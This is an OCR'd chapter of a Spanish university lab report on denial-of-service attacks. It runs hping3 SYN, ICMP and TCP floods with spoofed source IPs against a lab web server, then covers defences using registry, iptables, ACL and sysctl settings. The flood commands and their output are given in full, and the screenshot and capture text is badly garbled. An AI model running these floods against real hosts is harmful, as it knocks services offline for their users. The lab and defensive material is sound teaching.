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Desarrollo.

El ataque de Denegacidn de Servicios se caracteriza en que existen muchas maneras
para realizar dicho ataque y poner en aprietos a los diferentes servidores ya que ocasiona
un consumo de recursos computacionales, ancho de banda, espacio de disco, o tiempo
de procesador, en la realizacion de estas practicas se hara uso de diferentes
herramientas para realizar dicho ataques, con objetivo de demostrar cémo realizar los
ataques y como defenderse de los mismo, sin embargo no existe una solucion 100%
satisfactoria y esto es debido a que nunca se conoce quien sera la siguiente victima o la

manera en que se realizara.

11.6 ATAQUE SYN FLOOD.

Escenario.
Atacante )
Usuarios
L
> ; ‘ Intemet
ol
Apache

www_uach.com

N, <

= Wireshark
Atacante

llustracion 112: Escenario a desarrollar aplicando ataque Syn Flood.
Primeramente realizaremos este ataque con la herramienta hpin3, esta herramienta nos
permitira realizar el ataque de una manera sencilla a través de una sintaxis a seguir y
permitiendo también la suplantacion de identidad de direccion IP para evitar ser

identificado como un atacante, el comando es el siguiente:
hping3 -p 80 -S --flood ip_victima.

Donde:
-p 80: es el puerto que elegimos atacar

-S: activa el Flag Syn.
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--Flood: le indica a hping que envié los paquetes a la maxima velocidad posible
ip_victima: es la ip o dominio a atacar.
Si queremos que nuestra ip no sea visible podemos afadirle la opcion -a y la ip que
vamos a falsearo bien utilizar --rand-Source con lo que se generan direcciones de origen
ip al azar.

hping3 -aip_falsa -p 80 -S --flood ip_victima

Realizando el ataque.
Descripcién.

El servidor se encuentra alojado en una maquina con las siguientes caracteristicas:
MemorialGB, disco duro 300 GB, procesador 2.5 Mhz y con una direccién IP

192.168.1.12/24 y que aloja un sitio web www.uach.com, se contara con un switch cisco

no administrable y un router claro.

rootEubuntw i shonesrodolfoft ifconf ig
] Link encap:Ethernet HWaddr @8:00:27:55:2f :87

inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0
ineth addr: fe80: a@@:27ffF fei5:2f87-61 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RY packet=s:Z26 errors:0 dropped:0 overruns:0 frame:0
TH packet=s:441 errorsz:0 dropped:0 overruns:0 carrier:0
collizion=s:0 txgueuelen: 1000
B buytes:24304 (£24.3 KB)Y TX bytes:8810 (8.9 KB

llustracion 114: Comando ifconfig para verificar la direccion IP.
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2 @ ® Bienvenidos a la Universidad Autonoma de Chinandega - Mozilla Firefox

Archivo Editar Mer Historial Marcadores Hemramientas Ayuda
i_iBienvenidos a la Universidad A..

@@ [(5/192.168.1.12 v & (v o #

Hola Alumnos sean todos Bienvenidos a este sitio Web
academico

Ara podras enconfrar todo informacion relevantes en relacion a esta institucion de estudios superiores.

llustracion 115: Accediendo a sitio web, con la ayuda de apache2.

Descripcion de un atacante 1.

Con una direccion IP 192.168.1.13, esta maquina tiene instalada la herramienta hping3

(sudo apt-get install hping3).

Maquna Ver Dispostivos  Avuda

root@ubuntu:/home/rodolfolt ifconfig
Link encap:Ethernet HWaddr 08:00:27:dd:84:5b
inet addr:192.168.1.13 Beast:192.168.1.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :fedd:845b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13236 errors:0 dropped:0 overruns:0 frame:0
TX packets:?378 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:19591826 (19.5 MB) TX bytes:513955 (513.9 KB)

3%

llustracion 117: Comando Ifconfig para determinar la direccion IP.

ubuntu server [Corrmendo] - Oracle VM VirtualBox

Maguina =T Disposithvos Ayuda
rootPubuntu i shomesrodolfot hping3d —p 80 -5 —flood 192.168.1.12

FING 192 .168.1.12 (ethd 192.168.1.12): 5 =set, 40 headers + 0 data bytes
hping in flood mode., no replies will be shoun

C

— 192.168 .1.12 hping statistic —
126114638 packets transmitted. 0 packets received, 100» packet loss
round—trip mincavgosmax = 0.0-.0.0-.0.0 ms
rootEubuntu [ ~homesrodolf ol

llustracién 116: Realizando inundacion Syn Flood con la herramienta hpin3.
En este hpin3 se enviaron 12644638 paquetes.

Descripcion de un atacante 2.

Unan-Leén Pagina 205




Practica de Denegacion de Servicio.

Con una direccion IP 192.168.1.3, esta maquina tiene instalada la herramienta hping3 y

se abriran 4 terminales realizando el mismo sudo de la herramienta hping3.

2 © @ root@rodolfo-laptop: /home/rodolfo

Archivo Editar Ver Terminal Ayuda

root@rodolfo-laptop: /home/rodolfo# ifconfig

etho Link encap:Ethernet direccionHw ©00:26:9e:c2:ce:13
Direc. inet:192.168.1.3 Difus.:192.168.1.255 Masc:255.255.255.0
Direccidén inet6: feBB8::226:9eff:fec2:cel3/64 Alcance:Enlace
ACTIVO DIFUSION FUNCIONANDD MULTICAST MTU:1500 Metrica:l
Paquetes RX:7 errores:8 perdidos:8 overruns:0 frame:0

llustracion 118: Comando IP para obtener direccion IP.

PRIMER TERMINAL, se enviaron 5496917 paquetes.

[sudo] password for rodolfo:
root@rodolfo-laptop:/home/rodolfo# hping3 -p 80 -S --flood 1
92.168.1.12

HPING 192.168.1.12 (eth® 192.168.1.12): S set, 40 headers +
0 data bytes

hping in flood mode, no replies will be shown

=C

--- 192.168.1.12 hping statistic ---

5496917 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.6/60.9/6.0 ms
root@rodolfo-laptop:/home/rodolfo#

llustracion 119: Inundacion Syn Flood con la herramienta hping3, terminal 1.

SEGUNDA TERMINAL, se enviaron 7572656 paguetes.

root@rodolfo-laptop:/home/rodolfo# hping3 -p 80 -S --flood 192.168.1.12
HPING 192.168.1.12 (eth® 192.168.1.12): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
~C

-- 192.168.1.12 hping statistic ---
7572656 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@rodolfo-laptop:/home/rodol fo#

llustracion 120: Inundacion Syn Flood con la herramienta hping3, terminal 2.

TERCER TERMINAL, se enviaron 9328267 paquetes.
root@rodolfo-laptop:/home/rodolfo# hping3 -p 80 -S --flood 192.168.1.12
HPING 192.168.1.12 (eth® 192.168.1.12): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

~C

192.168.1.12 hping statistic
9328267 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/6.0 ms
root@rodolfo-laptop:/home/rodol fo#

llustracion 121: Inundacién Syn Flood con la herramienta hping3, terminal 3.
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CUARTA TERMINAL, se enviaron 6366716 paquetes.

root@rodolfo-laptop: /home/rodolfo# hping3 -p 808 -S --flood 192.168.1.12
HPING 192.168.1.12 (ethe 192.168.1.12): S set, 40 headers + deata bytes
hping in flood mode, no replies will be shown

oy =

--—- 192.168.1.12 hping statistic ---

6366716 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.6/0.6/60.0 ms

llustracién 122: Inundacion Syn Flood con la herramienta hping3, terminal 4.

ANALISIS CON WIRESHARK #1.

AL £IVLTUITUT LIE LU Le L Ciuiesa B or W UL PUI L. UM DESLINGLIUN pUIL L. vL3as
1264 236.906742 Camtrend_20:F0: 77 Broadcast ARP 60 who has 192.168.1.27 Tell 192.168.1.1
1265 236. 906746Asmck1n 35:22:d0 Comtrend 20:F0:77 ARP 42 192.168.1.2 15 at 00:25:22:a%:22:00

52, 52.168.1.2 stination unreachable (Wetwork unreachahle)
1267 242. 702299 192.168.1.8 192.168.1.2 TCP 62 descent3 » ndnp [SYN] Seq =0 win 65535 Len=0 MS5=1460 SACK_PERM=1
1268 242 848687 192 168 1.8 192.188.1.2

5 52.168.1. [Tw P POt numbers el V] S ;

1270 245.820436192.168.1.8 192.168.1.2 TCP 62 nbx-cc » nep [SYN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1

1271 247.835707192.168.1. 5 192.168.1.2 TCP 62 ace-server > ndmp [SYN] Seg=0 Win=63535 Len=0 M35=1460 SACK_PERM=1
1272 251.855599192.168.1.8 192.168.1.2 TCP 82 nhx-cc > ndnp [S¥N] Seq=0 Win=65535 Len=0 M55=1460 SACK_PERM=1

1273 253.8707881592.168.1. 5 192.168.1.2 TCP 62 ace-server > ndmp [SYN] Seg=0 Win=63535 Len=0 M35=1460 SACK_PERM=1
1274 253.9877661592.168.1.5 192.168.1.2 TCP 62 ace-svr-prop > ndmp [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1
1275 256.988923 192.168.1. 5 192.168.1.2 TCP 62 ace-svr-prop > ndmp [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1
1276 262.923326192.168.1.5 192.168.1.2 TCP 62 ace-svr-prop > ndmp [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1
1277 264.865199192.168.1.8 192.168.1.2 TCP 62 nbx-au > nonp [S¥N] Seg=0 Win=65535 Len=0 M55=1460 SACK_PERM=1

1278 267.845825192.168.1.8 192.168.1.2 TCP 62 nbx-au > nonp [S¥N] Seg=0 Win=65535 Len=0 M55=1460 SACK_PERM=1

1279 273.883907192.168.1.8 192.168.1.2 TCP 82 nbx-au > nonp [SYN] Seq=0 Win=65535 Len=0 M55=1460 SACK_PERM=1

H Frame 1279: 62 bytes on wire (496 bits), 62 hytes captured (486 hits) on interface 0
® Ethernet II, srci AsrockIn_09:41:03 (00:25:22:00:41:03), Dsty AsrockIn_a®:22:do (00:25:22:39:22:00)
® Internet Protocol Version 4, src: 102,168.1.8 (192.168.1.8), Dst: 192.168.1.2 (192.168.1.2)
= Transmission Control Protacol, src Port: nhx-au (20847, Dst Port: ndmp (10000), Seq: 0, Len: 0
source port: nbx-au (2094)
Destination port: nemp (10000)

llustracién 123: Realizando analisis de trafico con la herramienta Wireshark, andlisis nimero 1.

ANALISIS CON WIRESHARK #2.

9 . 394 [TCP Retran 1
01 47.6207240192.188.1.2 192 168 i, 12 TCP 54 nati-logos » http [FIN, ACK] Seg=l Ack=1 win=65335 Len=0
02 48.9283240192.188.1.2 50.112.94,135 TCP 62 dhm > http [SYN] Seq=0 win=65535 Len=0 M35=1460 SACK_PERM=1
03 49, 4385980192.168.1.2 50.112.94,135 TCP 62 redstorm-diag > http [5vn] Seq 0 Win=65535 Len=0 MS5=1460 SACK_PERM=1
] 204,246,175.131 5] 616 [TCP Retransm
95 49, 6567120192.168.1.8 192.168.1.2 TCR 62 dialog-port > ndmp [5vN] Seg=0 win= 65535 Len=0 MSS 1460 SACK_PERM=1
06 52.3034720192,168.1.2 192,168,1.12 TCP 54 redstorm-find » http [FIN, ACK] Seg=l Ack=1 win=65335 Len=0
07 52.5582550192.168.1.12 192.168.1.2 TCP 60 http > redstorm-find [ACK] Seg=l Ack=2 win=3840 Len=0
08 53.6506750192.168.1.2 162.168.1.12 TCP 54 nati-logos > http [FIN, ACK] Seg=l Ack=1 win=65335 Len=0
09 54.7460470192.168.1.12 192.168.1.2 TCP 60 http » redstorm-find [FIN, ACK] Seg=l Ack=2 win=3840 Len=0
100 54.7460710192.168.1.2 162.168.1.12 TCP 54 redstorm-find » http [ACK] Seg=2 Ack=2 Win=65535 Len=0
101 35.4714030192.168.1.2 50.112.94.133 TCP 62 redstorm-diag » http [SYn] Seg=0 wWin=65535 Len=0 M35=1460 SACK_PERM=1
102 55.6923600192.168.1.8 102.168.1.2 TCP 62 dialog-port > ndmp [5vN] Seq=0 Win=85535 Len=0 M35=1460 SACK_PERM=1
8 65535 Len=0 M55=1460 SACK_PERM=1

103 55.7796110192.168.1. 192 168 1.2 TCP 62 h2250-annex-g » ndmp [SYN] Seq=0 wi

HTTR 304 [TCP Retran

_PERM=1

106 B2 TITARZAINTD 162 1 @ TN 1E2 1 TN &7 k7780 arnAv A s Adme rc\m‘\cm_n WHMeREE2E | ARe MECSTARN CACKE ArnmST
¥ Frame 99: 60 hytes on wire (480 bits), 60 bytes captured (480 bits) on intertace 0
® Ethernet II, src: CadmusCo_55:2f:87 (08:00:27:55:2f:87), Dst: AsrockIn_a%9:22:d0 (00:25:22:a9:22:d0)
@ Internet Protocol version 4, sres 162.168.1.12 (192.168.1.12), Dst: 192.168.1.2 (192.168.1.2)
= Transmission Control Protocol, Src Port: http (80), Dst Port: redstorm-find (2347), Seq: 1, Ack: 2, Len: 0
Source port: http (80)
pestination port: redstorm-find (2347)

llustracién 124: Realizando analisis de trafico con la herramienta Wireshark, andlisis nimero 2.
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ANALISIS CON WIRESHARK #3.
165 144, 102140162, 188.1.1 182,168.1.2 ICHP 101 pestination unreachzble (Network unreachable)
166 144, 787329102,168.1.2 162.168.1.1 DS 73 Standard query Oxddée A um25, eset. com
167 144, 984236 152,168,1.1 152,168.1.2 IMP 101 Cestination unreachahle (uetwork unreachable)
168 145787323 162.168.1.2 192.168.1.1 DS 73 Standard query Oxddeé A um25, eset. cam

160 145, 980772 192,168, 1.1 152,168,1.2 IMP 101 cestination unreachahle (uetwork unreachable)

170 147.767273 152.168.1.2 162.188.1.1 i 73 standard query Oxdd66 A un23.eset.cam

171 147992848162, 148.1.1 182.168.1.2 ICHP 101 pestination unreachalle (uetwork unreachable)

172 149,166983 192.168,1. 5 192.168.1.2 TCP &2 citrixima » ndmp [SYN] Seg=0 Win=8333 Len=0 MS3=1460 SACK_PERM=L
173 145, 580585 182, 168.1.2 162.188.1.12 TCP 62 sd-request » http [SvH] Seq=0 win=63535 Len=0 M35=1460 SACK_PERM=1
174 145.765475182.168.1.2 162.168.1.1 DH3 83 standard query 0xd567 A api.bit-accelerator. com

A1 152 ] I 111 oestination unreachahle (etwark unreachable)

0.764767152,168.1.2 162.168.1.1 83 standard query 0xd567 A api.bit-accelerator, com
5927 15 1 162,168.1.2 WP 111 Destination unreachahle {Metwork unrezchalbile)
178 151144080 192,168, 1. 8 192.168.1.2 TCP 82 zymed-zpp > ndmp [SYN] Sen=0 Win=A5535 Len=0 MSS=1460 SACK_PERM=L
179 151, 764748162.168.1.2 192.168.1.1 DS 83 standard query 0x4567 A api.hit-accelerator.com
180 151, 787207 192.168.1.2 192.168.1.1 DS 73 Standard query Oxddeé A um25, eset. cam

llustracion 125: Realizando analisis de trafico con la herramienta Wireshark, andlisis niimero 3.
RESULTADOS: Durante el transcurso del tiempo (promedio de 30minutos hasta que fue

detenido) la maquina donde se encontraba el servidor empezé a dar sus primeros

sintomas entre ellos: lentitud y en ancho de banda de se comenz6 a reducir:

Visitando el sitio www.192.168.1.12.

| Y. Problema al cargar la pagina x | { ' Bienvenidos a la Universidad Autonoma d... | + |

& 192.168.1.12 M- Google

La conexion ha sido reiniciada

La conexidn al servidor fue reiniciada mientras la pagina se cargaba.

» Fl sitio podria estar no disponible termporalmente o demasiado ocupado, Wuelva
a intentarlo en unos momentos.

llustracion 126: Tratando de Accedes al sitio y obteniendo como resultado problemas de conexion.

Visitando otros sitios web www.google.com.ni desde el atacante 2.

L. Problema al cargar 1a pagina +

google com.ni P~

Servidor no encontrado

.-

Firefox no puede encontrar el servidor en vwww.google.com.ni

» Compruebe que la direccion no tiene errores de escritura del tipo

ww.gjempl

en lugar de www jemplo

llustracion 127: Tratando de Accedes al sitio y obteniendo como resultado problemas de conexién
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Visitando otros sitios web www.google.com.ni desde un usuario normal es decir desde

otra maquina que no formo parte del ataque.
| ! Problema al cargar la paoina x L_,Bienvetidosahmmﬂiad onoma d.. Xl + |

& wovs.google.com || 2§ - Google

Servidor no encontrado

"

Frrefox no puede encontrar & servidor en www.google.com.

= Compruebe que la direccidn no tiene errores de escritura del tipo
ww.ejemplo.com en lugar de www .ejemplo.com

= Si no puede cargar ninguna pagna, compruebe la conexion de red de su
equpo

= Si su equipo o red estan protegidos por un cortafuegos o proxy, asegurese de

llustracion 128: Tratando de Accedes al sitio web www.google.com Yy obteniendo como resultado problemas de conexion.

DEFENSA CONTRA SYN FLOOD.
= DEFENSA CON EL REGISTRO REGEDIT EN WINDOWS.

Primeramente desde INICIO ejecutamos regedit, y en HKey Local_Machine/ System/
CurrentControlSet/ Services/ Tcpip/ Parameters, colocaremos los siguientes valores
DWORD:

EnablelICMPRedirect =0

SynAttackProtect = 2
TCPMaxConnectResponseRetransmissions = 2
TCPMaxHalfOpen = 500
TCPMaxHalfOpenRetired = 400
TCPMaxPortsExhausted = 5
TCPMaxDataRetransmissions = 3
EnableDeadGWDetect = 0
EnablePMTUDiscovery =0
NoNameReleaseOnDemand = 1

PerformRouterDiscovery = 0

En donde:
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EnableICMPRedirect=0, se deshabilitan las redirecciones ICMP, impidiendo que un
ataque se redirija a un tercero).

SynAttackProtect=2, se establece el limite SYN, para que no se cree una situacion en la

que la conexion TCP se bloquee en un estado semi abierto.

TCPMaxConnectResponseRetransmissions=2, determina las veces que TCP transmite un

mensaje SYN/ACK que no es respondido.

TCPMaxHalfOpen=500, es el nimero de conexiones que el servidor puede mantener en
estado semi abierto antes de que TCP/IP inicie la proteccién contra ataques SYN.

TCPMaxHalfOpenRetired=400, es el nimero de conexiones que el servidor puede

mantener en estado semi abierto, incluso después de retransmitir una conexion.

TCPMaxPortsExhausted=5, es el nimero de solicitudes de conexion que el sistema

rechazard antes de que TCP/IP inicie la proteccién contra ataques SYN.

TCPMaxDataRetransmissions=3, es el numero de veces que TCP retransmite un

segmento de datos desconocido en una conexién existente.

EnableDeadGWDetect=0, determina si el ordenador tiene que detectar puertas de enlace

inactivas.

EnablePMTUDiscovery=0, determina si est4 habilitado el descubrimiento MTU de ruta de

acceso.

DisablelPSourceRouting=2, determina si un equipo permite que los clientes conectados

establezcan la ruta que los paquetes deben seguir hasta su destino.

NoNameReleaseOnDemand=1, determina si el Equipo libera su nombre NetBIOS a otro
Equipo que lo solicite o si un paquete malintencionado quiere apropiarse del nombre
NetBIOS.

PerformRouterDiscovery=0, determina si el Equipo realiza un descubrimiento del router de
esta tarjeta, el descubrimiento solicita la informacion del router y agrega la informacién a

una tabla de ruta.
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EnableDynamicBacklog=1, alterna entre el uso de una copia de seguridad estética y una
dindmica del Registro.

MinimumDynamicBacklog=20, es el niamero minimo de conexiones permitidas a la
escucha. Si las conexiones libres descienden por debajo de este valor se crea un

subproceso para crear conexiones libres adicionales.

MaximumDynamicBacklog=20000, es el nimero maximo de conexiones libres y medio

abiertas.

DynamicBacklogGrowthDelta=10, es el niumero de extremos Winsock en cada conjunto de
asignacion solicitado por el Equipo.

Y por ultimo hay que hacerlos permanentes en archivo /etc/sysctl.conf.
= EN SISTEMAS WINDOWS ACTIVACION ANTI SYN FLOOD.

Para la activacion de la proteccién anti Syn Flood:

C:\>reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters v
SynAttackProtect /t REG_DWORD /d 1.

Para conseguir el aumento del 'backlog queue":

C:\>reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters/v
EnableDynamicBacklog /t REG_DWORD /d 1
C:\>regaddKLM\System\CurrentControlSet\Services\AFD\Parameters

/v MinimumDynamicBacklog /t REG_DWORD /d 20

C:\>reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters/v
MaximumDynamicBacklog /t REG_DWORD /d 20000

C:\>reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters/v
DynamicBacklogGrowthDelta /t REG_DWORD /d 10

Y para decremento el tiempo de espera en conexiones 'Half Open:

C:\>reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
IvTcpMaxConnectResponseRetransmissions /t REG_DWORD /d 2.
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= DEFENSA CON IP TABLES.
# Creacion de una cadena personalizada
$IPTABLES -t nat -N SYN-FLOOD# Limitar la cantidad de conexiones
$IPTABLES -t nat -A SYN-FLOOD -m limit --limit 12/s --limit-burst 24 -j RETURN
$IPTABLES -t nat -A SYN-FLOOD -j DROP
# Chequear ataque DoS
$IPTABLES -t nat -A PREROUTING -i $WAN -d $IP_DEST -p tcp --syn -j SYN-FLOOD

= DEFENSA CON ACCESS LIST.
access-list 169 permit udp any any eq echo
access-list 169 permit udp any eq echo any
access-list 169 permit icmp any any echo
access-list 169 permit icmp any any echo-reply
access-list 169 permit tcp any any established

access-list 169 permit tcp any any

= DEFENSA CON SYSCTL.
Sysctl es una interfaz para visualizar y cambiar dinAmicamente parametros en el Kernel.
/proc también proporciona una interfaz para examinar y visualizar esta informacion.
Muchos parametros que afectan al comportamiento de red se encuentran en:
/proc/sys/net/. Nos centraremos en los parametros de red para IPv4, que se encuentran

en: /proc/sys/net/ipv4, podemos modificar estos parametros:

Variando los valores en /proc mediante una redireccion:
echo 0 >/proc/sys/net/ipv4/ip_forward
Con el comando sysctl: sysctl -w net.ipv4.ip_forward=1 o para que se conserven al

reiniciar el sistema, editando /etc/sysctl.conf.

Si no actuamos como router, es interesante deshabilitar el forwarding:

sysctl -w net.ipv4.ip_forward = 0
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Si nuestra maquina no tiene varias IP, es interesante activar el rp_filter, que rechaza
paquetes cuyo origen no se corresponde con una direccién alcanzable por la interfaz.
Esta opcion nos puede ayudar a evitar IP Spoofing:

sysctl -w net.ipv4.conf.all.rp_filter = 1

sysctl -w net.ipv4.conf.default.rp_filter = 1

Para evitar ser detectado por algunos espias de puertos que bus-can maquinas activas,
se pueden ignorar todos los pings (téngase en cuenta que otros servicios legitimos

también seran ignorados): sysctl -w net.ipv4.icmp_echo_ignore_all =1

También por el mismo motivo y para evitar ataques de tipo Smurf, se pueden ignorar los

dirigidos a la interfaz broadcast: sysctl -w net.ipv4.icmp_echo_ignore_broadcasts =1

En caso de recibir paquetes icmp mal formados seran registrados por el Kernel. Ciertos
router son propensos a generar este tipo de trafico y para evitar generar archivos de log
demasiado grandes, se puede activar en ese caso: sysctl -w
net.ipv4.icmp_ignore_bogus_error_responses=1

También resulta interesante detectar actividades sospechosas: como envio de paquetes
con direccion no valida, paguetes con origen y destino la misma maquina, o paquetes con
origen 127.0.0.1 a través de un interfaz Ethernet.

sysctl -w net.ipv4.conf.all.log_martians =0

sysctl -w net.ipv4.conf.default.log_martians =0

Para reducir el riesgo de ataque SYN Flooding se puede hacer descartar conexiones

antiguas con: sysctl -w net.ipv4.tcp_syncookies = 1

En ciertos casos se debe ajustar también el nimero maximo de conexiones en cola
admitidas (sobre todo en servidores con alta demanda), aunque ello consuma mayor

memoaria con: sysctl -w net.ipv4.tcp_max_syn_backlog = 128
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11.7 ATAQUE ICMP FLOOD Y ATAQUE TCP FLOOD.

Con la realizacién de este atague se pretende agotar el ancho de banda de la victima,
enviando de forma continuada un namero elevado de paquetes ICMP Echo request (ping)
de tamanfo considerable para sobrecargar tanto el trafico de la red, como en el sistema de
la victima. En la realizacién del ataque ICMP Flood se seguira haciendo uso de la

herramienta hping3, con la siguiente sintaxis.
Hpin3 —q —n —a IP_Falsa —id 0 -icmp —-d <tamafo paquete> --Flood IP_victima.

Donde:

-a: direccion ip falsa.

--Flood: direccién ip del obijetivo.
-g: modo silencioso.

-n: sin resolucion dns.

--d 0: solicitud de echo (ping).

-d: el tamafio del paquete (el tamafio normal es 56).

7 terminales

Wireshark
Atacante :
A Usuarios
Escenario. -
> - | et Intemet
Apache e
www_uach.com
Ata::ante

llustracion 129: Escenario a desarrolla para aplicar ataque icmp Flood
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Realizando el ataque.

En el servidor se encuentra alojado en una maquina con las siguientes caracteristicas:
Memoria 1GB, disco duro 300 GB, procesador 2.5 Mhz y con una direccion IP

192.168.1.4/24 y que aloja un sitio web www.uach.com, se contara con con switch y un

router claro.

llustracion 130: Maquina servidor y Router claro.

Descripcién de un atacante 1.

Con una direccién IP 192.168.1.3, esta maquina tiene instalada la herramienta hping3
(sudo apt-get install hping3), en esta maquina atacante se abrieron 7 terminales, en las
cuales en todas se hizo uso de la herramienta hping3 para aumentar la magnitud del

ataque contra el servidor.

S$ifconfig
rodolfo@rodolfo-laptop:~$ sudo su
[sudo] password for rodolfo:
root@rodolfo-laptop:/home/rodolfo# ifconfig
ethe Link encap:Ethernet direccionHW 00:26:9e:c2:ce:13
Direc. inet:192.168.1.3 Difus.:192.168.1.255 Masc:255.255.2
55.0

Direccion inet6: fe80::226:9eff:fec2:cel3/64 Alcance:Enlace
ACTIVO DIFUSION FUNCIONANDO MULTICAST MTU:1500 Metrica:l
Paquetes RX:204 errores:0 perdidos:0 overruns:0 frame:0

llustracion 131: Comando Ifconfig para determinar la direccion IP.

Las 7 terminales desde Ubuntu con hping3.
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Archivo
HPING 192.168.1.4 (etf [sudo]

passw: d 3

hping in flood mode, n AL

B ;g?;?'?gfl§g,root:iérodo p:/home/rodolfo# hping3 -n -a 192.168.56.108 --id 0 --icmp -d 6568 --fl
hpi =t 3 "'f“jHPII‘IG 192.1 (ethe 192.168.1.4): C yde set, 28 headers + 6500 data bytes

pANg AN %hping in flc pode, no replies will be shown

r Ver Terminal a
MITM attack.avi

Archivo Editar

HPING 192.168. archivo Editar Ver Terminal Ayuda

hping in flood - = - -
root@rodolfo-laptop: /home/rodolfo# hping3 -q -n -a 192.168.56.188 id o icmp -d 56 flood 192.168.1.4
HPING 192.168.1.4 (eth© 192.168.1.4): icmp mode set, 28 headers + 56 data bytes

Hmeeere hping in flood mode, no replies will be shown

2 © @ root@rodolfo-laptop: /home/rodolfo

Archivo Editar Ver Terminal

root@ro oM h " -a 192.168.56.103 id o icmp -d 6568 flood 192.168.1.4

HPING >t, 28 headers + 6500 data bytes

Archivo Editar

root@rodolfo-laptop: /t 4 o# hping3 -g -n -a 192.168.56.104 --id @ --icmp -d 6508 --flood 192.168.1.4
HPING 192.168.1.4 (et 1.4): ic mode set, 28 headers + 6500 data bytes

hping in flood mode, no replies will be shown

|

llustracion 132: Terminales en Ubuntu 10.04 realizando el ataque con la herramienta hpin3.

Primera terminal, se enviaron 4830072 paquetes.

root@rodolfo-laptop:/home/rodolfo# hping3 -q -n -a 192.168.56.108 --id o --icmp -d 56 --flood 192.168.1.4
HPING 192.168.1.4 (ethe 192.168.1.4): icmp mode set, 28 headers + 56 data bytes
hping in flood mode, no replies will be shown
0
- 192,168.1.4 hping statistic ---
4830072 packets transmitted, @ packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.6/6.0 ms
root@rodolfo-laptop:/home/rodol fo# |

llustracion 133: Terminal realizando ataque icmp Flood, terminal nimero 1.

Segunda terminal, se enviaron 318125 paquetes.

root@rodolfo-laptop:/home/rodolfo# hping3 -q -n -a 192.168.56.108 --id @ --icmp -d 6500 --flood 192.168.1.4
HPING 192.168.1.4 (ethe 192.168.1.4): icmp mode set, 28 headers + 6500 data bytes
hping in flood mode, no replies will be shown
e
- 192.168.1.4 hping statistic ---
318125 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.0/6.0/0.0 ms
root@rodolfo-laptop:/home/rodolfo# |

llustracion 134: Terminal realizando ataque icmp Flood, terminal nimero 2.

Tercer terminal, se enviaron 631178.

root@rodol fo-laptop: /home/rodol fo# hping3 -q -n -a 192.168.56.104 --id @ --icmp -d 6560 --flood 192.168.1.4
HPING 192.168.1.4 (etho 192.168.1.4): 1cmp mode set, 28 headers + 6500 data bytes
hping in flood mode, no replies will be shown

alt

--- 192,168.1.4 hping statistic ---

631178 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/6.0/0.0 ms

llustracion 135: Terminal realizando ataque icmp Flood, terminal nimero 3.
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Cuarta terminal, se enviaron 686158 paquetes.
root@rodolfo-laptop:/home/rodolfo# hping3 -q -n -a 192.168.56.103 --id 0 --icmp -d 6560 --flood 192.168.1.4
HPING 192.168.1.4 (eth® 192.168.1.4): icmp mode set, 28 headers + 6500 data bytes
hping in flood mode, no replies will be shown
AC
--- 192,168.1.4 hping statistic ---
686158 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.6/0.0 ms
root@rodolfo-laptop:/home/rodol fo# |

llustracion 136: Terminal realizando ataque icmp Flood, terminal niGmero 4.

Nota: De la misma manera fue realizado el ataque de la terminal nimero 5y 6,
obteniendo los siguientes resultados: Quinta terminal, se enviaron 701755 paquetes

y Sexta terminal, se enviaron 750666 paquetes.

REALIZANDO ATAQUE TCP CON LA HERRAMIENTA HPINGS.

root@rodolfo-laptop:/home/rodolfo# hping3 -q -n -a 192.168.56.107 -SARFU -p 80 --flood 192.168.1.4
HPING 192.168.1.4 (eth® 192.168.1.4): RSAFU set, 40 headers + © data bytes

hping in flood mode, no replies will be shown

C

- 192.168.1.4 hping statistic ---
10342514 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@rodolfo-laptop:/home/rodol fo# l

llustracion 137: Realizando ataque TCP con la herramienta hping3.

Descripcion del atacante 2.

Con una direccién IP 192.168.1.3, esta maquina tiene instalada la herramienta hping3
(sudo apt-get install hping3), en esta maquina atacante se abrieron 7 terminales, en las
cuales en todas se hizo uso de la herramienta hping3 para aumentar la magnitud del

ataque contra el servidor.

oofeubuntu:/ﬂome/rodoifou hping3 —g —m —a 192.168.56.105 —id 0 —icmp —-d 6500
—f lood 192.168.1.4

PING 192.168.1.4 (ethO 192.168.1.4): icmp mode set, 28 headers + 6500 data byte

iping in flood mode, no replies will be shown

- 192.168.1.4 hping statistic ——
1658470 packets transmitted, 0 packets received, 100x packet loss
round—trip min‘avgs/smax = 0.0-0.0,0.0 ms
root@ubuntu:/homesrodolfo# _

llustracion 138: Realizando ataque TCP con la herramienta hping3.
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ANALISIS CON WIRESHARK #1.

49 26, 4216180192 168.1, 2 180,212, 166 A HITR 1094 GET /_utm gifeutmw= 3 Bautns=874utnn= 511030908&utmhn render tcﬂkdfree cum&utme:B(Actmnj
50 26,4962440190, 212, 166,20 192.168.1.2 HITR 430 HMTTR/LLL 200 0K (GIFR9a)

51 26,6528010192, 168,12 180,212.166,20  TCP 5 e » htp [ACK] Seg=1041 Ack=377 Win=64407 Len=(

i

26.540630 192,168, 1.2 192,168,159 e 114 [ree Retramsmission] Tree Conrect And

§ ) MS5=1460 SACK_PERM=L
